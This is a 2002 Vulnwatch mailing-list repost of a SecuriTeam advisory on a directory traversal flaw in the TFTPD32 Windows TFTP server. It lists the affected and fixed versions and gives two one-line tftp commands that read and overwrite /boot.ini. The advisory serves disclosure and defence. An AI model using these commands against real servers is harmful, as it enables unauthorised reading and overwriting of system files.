Vulnwatch: TFTPD32 Directory Traversal Vulnerability

From: Aviram Jenik <aviram_at_beyondsecurity.com>
Date: Mon, 18 Nov 2002 22:42:41 +0200

Advisory available at:
http://www.securiteam.com/windowsntfocus/6D00D2061G.html

TFTPD32 Directory Traversal Vulnerability
--------------------------------------------

SUMMARY

<http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for
windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350).

A vulnerability in the product allows remote attackers to view any file
on the system as well as write to arbitrary locations.

DETAILS

Vulnerable systems:
* TFTP32 version 2.50.2 and prior

Immune systems:
* TFTP32 version 2.51

Exploit:
Getting files:
tftp host GET /boot.ini

Storing files:
tftp host PUT myfile /boot.ini

ADDITIONAL INFORMATION

The information has been provided by <mailto:expert_at_securiteam.com>
SecurITeam Experts.

--
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com
Know that you're safe:
http://www.AutomatedScanning.com

Received on Nov 18 2002